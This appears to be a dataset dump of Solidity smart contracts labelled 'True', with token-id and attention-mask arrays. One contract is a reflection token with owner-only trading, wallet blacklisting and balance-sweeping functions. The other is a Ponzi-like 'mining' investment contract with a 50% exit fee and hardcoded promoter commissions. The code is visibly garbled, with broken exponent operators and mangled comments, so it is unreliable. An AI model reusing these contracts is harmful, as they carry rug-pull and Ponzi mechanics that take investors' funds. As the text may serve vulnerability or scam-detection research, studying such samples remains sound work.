WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IAirdrop { function airdrop(address recipient, uint256 amount) external; } contract Cheesycrusttoken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public marketingWallet; string private _name = "Cheesy Crust Token"; string private _symbol = "CHEESYCRUST"; uint8 private _decimals = 9; uint256 public _taxFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 public marketingFeePercent = 38; uint256 public _liquidityFee = 8; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 1000000000000 10*9; uint256 public numTokensSellToAddToLiquidity = 1000000000000 10*9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); //Mainnet BSC //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); //Testnet BSC IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount 10*9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] 10*9); iterator += 1; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingFeePercent(uint256 fee) public onlyOwner { require(fee < 50, "Marketing fee cannot be more than 50% of liquidity"); marketingFeePercent = fee; } function setMarketingWallet(address walletAddress) public onlyOwner { marketingWallet = walletAddress; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { require(taxFee < 10, "Tax fee cannot be more than 10%"); _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount > 1000000, "Max Tx Amount cannot be less than 1 Million"); _maxTxAmount = maxTxAmount 10*9; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { require(SwapThresholdAmount > 1000000, "Swap Threshold Amount cannot be less than 1 Million"); numTokensSellToAddToLiquidity = SwapThresholdAmount 109; } function claimTokens () public onlyOwner { // make sure we capture all BNB that may or may not be sent to this contract payable(marketingWallet).transfer(address(this).balance); } function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function addBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = true; } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function allowtrading()external onlyOwner() { canTrade = true; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 102 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves // add the marketing wallet uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 marketingshare = newBalance.mul(marketingFeePercent).div(100); payable(marketingWallet).transfer(marketingshare); newBalance -= marketingshare; // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] \|\| botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 2385, 1008, 1013, 1013, 1008, 1008, 1008, 1008, 1008, 1008, 1013, 1013, 1013, 18178, 2229, 2100, 26775, 19966, 1012, 22834, 1011, 1056, 1012, 2033, 1013, 18178, 2229, 2100, 26775, 19966, 18715, 2368, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 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3815, 1036, 2003, 2059, 2139, 29510, 2013, 1996, 20587, 1005, 1055, 1008, 21447, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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pragma solidity ^0.4.18; contract TestMining{ mapping (address => uint256) public investedETH; mapping (address => uint256) public lastInvest; mapping (address => uint256) public affiliateCommision; address dev = 0x47CCf63dB09E3BF617a5578A5eBBd19a4f321F67; address promoter = 0xac25639bb9B90E9ddd89620f3923E2B8fDF3759d; function investETH(address referral) public payable { require(msg.value >= 0.01 ether); if(getProfit(msg.sender) > 0){ uint256 profit = getProfit(msg.sender); lastInvest[msg.sender] = now; msg.sender.transfer(profit); } uint256 amount = msg.value; uint256 commision = SafeMath.div(amount, 10); if(referral != msg.sender && referral != 0x1 && referral != dev && referral != promoter){ affiliateCommision[referral] = SafeMath.add(affiliateCommision[referral], commision); } affiliateCommision[dev] = SafeMath.div(amount, 40); affiliateCommision[promoter] = SafeMath.div(amount, 40); /* affiliateCommision[dev] = SafeMath.add(affiliateCommision[dev], commision); affiliateCommision[promoter] = SafeMath.add(affiliateCommision[promoter], commision); / investedETH[msg.sender] = SafeMath.add(investedETH[msg.sender], amount); lastInvest[msg.sender] = now; } function divestETH() public { uint256 profit = getProfit(msg.sender); lastInvest[msg.sender] = now; //20% fee on taking capital out uint256 capital = investedETH[msg.sender]; uint256 fee = SafeMath.div(capital, 2); //50% fee to leave early capital = SafeMath.sub(capital, fee); uint256 total = SafeMath.add(capital, profit); require(total > 0); investedETH[msg.sender] = 0; msg.sender.transfer(total); } function withdraw() public{ uint256 profit = getProfit(msg.sender); require(profit > 0); lastInvest[msg.sender] = now; msg.sender.transfer(profit); } function getProfitFromSender() public view returns(uint256){ return getProfit(msg.sender); } function getProfit(address customer) public view returns(uint256){ uint256 secondsPassed = SafeMath.sub(now, lastInvest[customer]); return SafeMath.div(SafeMath.mul(secondsPassed, investedETH[customer]), 2592000); //30 days in seconds is 2592000 } function reinvestProfit() public { uint256 profit = getProfit(msg.sender); require(profit > 0); lastInvest[msg.sender] = now; investedETH[msg.sender] = SafeMath.add(investedETH[msg.sender], profit); } function getAffiliateCommision() public view returns(uint256){ return affiliateCommision[msg.sender]; } function withdrawAffiliateCommision() public { require(affiliateCommision[msg.sender] > 0); uint256 commision = affiliateCommision[msg.sender]; affiliateCommision[msg.sender] = 0; msg.sender.transfer(commision); } function getInvested() public view returns(uint256){ return investedETH[msg.sender]; } function getBalance() public view returns(uint256){ return this.balance; } function min(uint256 a, uint256 b) private pure returns (uint256) { return a < b ? a : b; } function max(uint256 a, uint256 b) private pure returns (uint256) { return a > b ? a : b; } } library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 3206, 3231, 25300, 3070, 1063, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 11241, 11031, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 2197, 2378, 6961, 2102, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 8727, 9006, 15630, 3258, 1025, 4769, 16475, 1027, 1014, 2595, 22610, 9468, 2546, 2575, 29097, 2497, 2692, 2683, 2063, 2509, 29292, 2575, 16576, 2050, 24087, 2581, 2620, 2050, 2629, 15878, 2497, 2094, 16147, 2050, 2549, 2546, 16703, 2487, 2546, 2575, 2581, 1025, 4769, 15543, 1027, 1014, 18684, 2278, 17788, 2575, 23499, 10322, 2683, 2497, 21057, 2063, 2683, 14141, 2094, 2620, 2683, 2575, 11387, 2546, 23499, 21926, 2063, 2475, 2497, 2620, 2546, 20952, 24434, 28154, 2094, 1025, 3853, 15697, 11031, 1006, 4769, 6523, 7941, 1007, 2270, 3477, 3085, 1063, 5478, 1006, 5796, 2290, 1012, 3643, 1028, 1027, 1014, 1012, 5890, 28855, 1007, 1025, 2065, 1006, 2131, 21572, 8873, 2102, 1006, 5796, 2290, 1012, 4604, 2121, 1007, 1028, 1014, 1007, 1063, 21318, 3372, 17788, 2575, 5618, 1027, 2131, 21572, 8873, 2102, 1006, 5796, 2290, 1012, 4604, 2121, 1007, 1025, 2197, 2378, 6961, 2102, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 2085, 1025, 5796, 2290, 1012, 4604, 2121, 1012, 4651, 1006, 5618, 1007, 1025, 1065, 21318, 3372, 17788, 2575, 3815, 1027, 5796, 2290, 1012, 3643, 1025, 21318, 3372, 17788, 2575, 4012, 15630, 3258, 1027, 3647, 18900, 2232, 1012, 4487, 2615, 1006, 3815, 1010, 2184, 1007, 1025, 2065, 1006, 6523, 7941, 999, 1027, 5796, 2290, 1012, 4604, 2121, 1004, 1004, 6523, 7941, 999, 1027, 1014, 2595, 2487, 1004, 1004, 6523, 7941, 999, 1027, 16475, 1004, 1004, 6523, 7941, 999, 1027, 15543, 1007, 1063, 8727, 9006, 15630, 3258, 1031, 6523, 7941, 1033, 1027, 3647, 18900, 2232, 1012, 5587, 1006, 8727, 9006, 15630, 3258, 1031, 6523, 7941, 1033, 1010, 4012, 15630, 3258, 1007, 1025, 1065, 8727, 9006, 15630, 3258, 1031, 16475, 1033, 1027, 3647, 18900, 2232, 1012, 4487, 2615, 1006, 3815, 1010, 2871, 1007, 1025, 8727, 9006, 15630, 3258, 1031, 15543, 1033, 1027, 3647, 18900, 2232, 1012, 4487, 2615, 1006, 3815, 1010, 2871, 1007, 1025, 1013, 1008, 8727, 9006, 15630, 3258, 1031, 16475, 1033, 1027, 3647, 18900, 2232, 1012, 5587, 1006, 8727, 9006, 15630, 3258, 1031, 16475, 1033, 1010, 4012, 15630, 3258, 1007, 1025, 8727, 9006, 15630, 3258, 1031, 15543, 1033, 1027, 3647, 18900, 2232, 1012, 5587, 1006, 8727, 9006, 15630, 3258, 1031, 15543, 1033, 1010, 4012, 15630, 3258, 1007, 1025, 1008, 1013, 11241, 11031, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 3647, 18900, 2232, 1012, 5587, 1006, 11241, 11031, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1010, 3815, 1007, 1025, 2197, 2378, 6961, 2102, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 2085, 1025, 1065, 3853, 11529, 13473, 2705, 1006, 1007, 2270, 1063, 21318, 3372, 17788, 2575, 5618, 1027, 2131, 21572, 8873, 2102, 1006, 5796, 2290, 1012, 4604, 2121, 1007, 1025, 2197, 2378, 6961, 2102, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 2085, 1025, 1013, 1013, 2322, 1003, 7408, 2006, 2635, 3007, 2041, 21318, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 